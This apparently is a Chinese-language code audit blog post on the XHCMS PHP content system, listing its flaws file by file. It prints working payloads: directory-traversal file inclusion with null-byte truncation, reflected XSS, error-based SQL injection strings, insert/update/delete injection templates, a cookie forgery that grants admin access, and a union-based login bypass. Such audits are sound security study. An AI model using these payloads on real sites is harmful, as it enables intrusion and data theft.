XHCMS代码审计
XHCMS代码审计
CMS 结构树
在 powershell 里面执行 tree 命令可以查看当前目录下的目录结构
admin --后台文件夹
css --css文件夹
files --存放网站的各种功能页面文件夹
images --存放图片文件夹
inc --配置文件夹
install --网站安装文件夹
seacmseditor --网站的编辑器文件夹
template --模板文件夹
upload --存放网站上传的文件
index.php --网站入口
一、网站入口
1、index.php
这里利用了 include 函数,并且没有做任何限制,可以做到目录穿越读取任意 php 文件,我们把 r 的参数改成 ../install/index,成功给安装页面包含出来
补充: 这里源码用了一个 addslashes 的函数,虽然用 addslashes 处理了一下,但是 addslashes 只会转义 ' " \ null ,也就是说我们是可以目录穿越的,就可以上传木马然后进行目录穿越给木马包含出来,后面虽然会加上 .php 但是可以进行截断,在 php 版本 <5.2 的情况下可以利用 %00 截断的方式进行包含 webshell
二、files 文件夹
1、contact.php
文件中存在 xss 漏洞,在传参 page=1 时页面会显示评论的第 1 页,并且输入的参数会直接被 html 执行,可以传入 page=<script>alert(1)</script>,此时就成功弹窗,xss 执行成功
2、content.php
存在 sql 注入,这里 sql 语句没做任何过滤,可以直接进行报错注入就能注出数据库库名
3、dowload.php
同 contact 存在 xss 漏洞,依旧是讲 $page 内容直接输出,page 参数由 get 传参得到
4、list.php
存在 xss 漏洞,两处都是 page 参数直接 echo 到页面上可以直接触发,原因和上面一样

5、software.php
get 传参,存在 sql 注入,在?r=software&cid=1 后面直接加上 or (updatexml(1,concat(0x7e,(select%20database()),0x7e),1))--+ 直接出库名
6、submit.php
这里验证码验证后一致也不会刷新,可以通过一个验证码来一直实现爆破需要验证码的页面
三、admin/template 目录
1、top.php
这里从 cookie 获取 user 的参数,无过滤直接进行 sql 语句的查询,存在 sql 报错注入
影响后台所有页面
四、admin/files
1、editcolumn.php
没有过滤,可以直接注入
2、softlist.php
这里的 delete 语句,无过滤直接可以进行注入
补充:
insert注入:
$sql = "insert into user(username,password) values('$username','$password',)";
payload: 适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "insert into user(username,password) values('' or updatexml(1,concat(0x7e,(database())),0) or '','$_POST['password']')";
update注入:
$sql = "update user set username='$username',password='$password' where id=$id";
payload:适用于字符型:
' or updatexml(1,concat(0x7e,(database())),0) or '
适用于数字型:
' or extractvalue(1,concat(0x5e24,(database()))) or '
$sql = "update user set username='' or updatexml(1,concat(0x7e,(database())),0) or '',password='$_POST['password']' where id=$_POST['id']";
delete注入:
$sql = "delete from user where id=$id";
pauload:
or or updatexml(1,concat(0x7e,(database())),0) or ' '
or extractvalue(1,concat(0x5e24,(database()))) or ' '
此文件还存在 xss,echo 出的内容中 $delete 参数可被用户自定义
先将前面的 <script> 标签闭合,后面构造新的 script 语句
3、commentlist.php
这里的注入点同理,不赘述了,相同的漏洞在 admin/files 中的以下文件都存在
columnlist.php
commentlist.php
editcolumn.php
editlink.php
editsoft.php
editwz.php
imageset.php
index.php
linklist.php
manageinfo.php
newcolumn.php
newlink.php
newsoft.php
newwz.php
reply.php
seniorset.php
siteset.php
softlist.php
wzlist.php
下面也存在反射性 xss
page 依旧是 get 传参,就可以构造具体参数内容
五、垂直越权
这里可以看到只判断了 cookie 中的 user 是否为空,结果为 true 就直接跳转登录页面
这边直接在 cookie 里面新建一个 user,值只要不为空就能直接进入后台
六、万能密码进后台
漏洞位置:admin/files/login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
万能密码登录有两个点:
1.user 未经过过滤直接拼接进入数据库查询
2.password 的 md5 对比可绕过
payload:
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
我们进入后台,在账号一栏中填入 payload,密码输入加密前的 1 即可成功登录。
七、admin 入口
入口出依旧有文件包含漏洞
可以进行目录穿越

浙公网安备 33010602011771号